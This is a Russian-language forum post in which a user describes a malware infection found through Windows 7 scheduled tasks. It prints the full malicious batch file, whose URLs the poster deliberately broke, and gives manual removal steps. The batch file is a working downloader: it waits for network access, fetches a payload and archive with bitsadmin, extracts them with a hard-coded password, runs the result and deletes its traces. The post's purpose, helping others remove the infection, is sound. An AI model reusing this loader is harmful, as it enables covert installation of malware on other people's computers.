[Хитрый дед]

У меня файлы лежали немного в других местах, чем у RomaRio_RV.
Также были найдены в планировщике задач(Windows 7):
ExpirationRun (путь: C:\Users\Имя_вашего_пользователя\AppData\Roaming\DailyCheck\check138\expirationrun.vbs //B)
UpdDailyService (путь: C:\Users\Имя_вашего_пользователя\AppData\Roaming\SysHibernate\IndexIdentifierx86.vbs //B)

Был найден батник по пути C:\SysLogs\1004\xenupd\xenupd64.bat

Содержимое батника

@echo off
ping -n 3 localhost >nul
rmdir "%systemdrive%\SysLogs" /q /s
mkdir "%systemdrive%\SysLogs"
mkdir "%systemdrive%\SysLogs\1000"
mkdir "%systemdrive%\SysLogs\1001"
mkdir "%systemdrive%\SysLogs\1002"
mkdir "%systemdrive%\SysLogs\1003"
mkdir "%systemdrive%\SysLogs\1004"
mkdir "%systemdrive%\SysLogs\1005"
mkdir "%systemdrive%\SysLogs\1006"
mkdir "%systemdrive%\SysLogs\1004\xenupd"
cd "%systemdrive%\SysLogs\1004\xenupd"
:search24673
ping -n 1 ya.ru | Find /I "TTL="
If %ErrorLevel%==1 ping localhost&&goto :search24673
ping -n 6 localhost >nul
bitsadmin /transfer xenupd64 /priority foreground h t t p://syncu pd cesder.ucoz.net/xenupd64.zip "%systemdrive%\SysLogs\1004\xenupd\xenupd64.zip"
ping -n 6 localhost >nul
if not exist "%systemdrive%\SysLogs\1004\xenupd\xenupd64.zip" goto drown3
for %%i in ("%systemdrive%\SysLogs\1004\xenupd\xenupd64.zip") do (set /a size=%%~Zi)
if %size% LSS 500 goto drown3
if not exist "%appdata%\DailyCheck\check138\raz64.exe" goto razno
for %%i in ("%appdata%\DailyCheck\check138\raz64.exe") do (set /a size=%%~Zi)
if %size% LSS 587776 goto razno
goto razest
:razno
:search1235188
ping -n 1 ya.ru | Find /I "TTL="
If %ErrorLevel%==1 ping localhost&&goto :search1235188
ping -n 6 localhost >nul
bitsadmin /transfer hibvr /priority foreground h t t p://syncu pd cesder.ucoz.net/hibvr.lbd "%systemdrive%\SysLogs\1004\xenupd\hibvr.lbd"
ping -n 6 localhost >nul
if not exist "%systemdrive%\SysLogs\1004\xenupd\hibvr.lbd" goto drown3
for %%i in ("%systemdrive%\SysLogs\1004\xenupd\hibvr.lbd") do (set /a size=%%~Zi)
if %size% LSS 587776 goto drown3
ping -n 5 localhost >nul
copy /y "%systemdrive%\SysLogs\1004\xenupd\hibvr.lbd" "%appdata%\DailyCheck\check138"
ping -n 3 localhost >nul
del /q "%appdata%\DailyCheck\check138\raz64.exe"
rename "%appdata%\DailyCheck\check138\hibvr.lbd" raz64.exe
ping -n 5 localhost >nul
:razest
cd "%systemdrive%\SysLogs\1004\xenupd"
"%appdata%\DailyCheck\check138\raz64.exe" e "%systemdrive%\SysLogs\1004\xenupd\xenupd64.zip" -pOFkj3jKAf2jjVNShj3kkoAJjf -y
ping -n 3 localhost >nul
cmd /c "%systemdrive%\SysLogs\1004\xenupd\xenupd64.bat" /q
ping -n 5 localhost >nul
:drown3
cd "%appdata%"
rmdir "%systemdrive%\SysLogs" /q /s

Ссылки на сайты в батнике я запорол спецом для форума, чтобы никто случайно по ним не перешёл
Что помогло:
1) Удалить из планировщика ExpirationRun и UpdDailyService, предварительно посмотрев путь их хранения.
2) Далее удалить папки в которых лежали исполняемые файлы (нажмите пуск->выполнить->введите appdata и нажмите ок->перейдите в папку Roaming и ищите папки, путь к которым вы просмотрели в пункте 1). В моём случае это папки DailyCheck и SysHibernate.
3) Удалите папку SysLogs на диске C: (если удалить не получается, зайдите в неё и удалите всё что можно - остальное после перезагрузки пк)

Мне помогло, 1.5 месяца -полёт нормальный.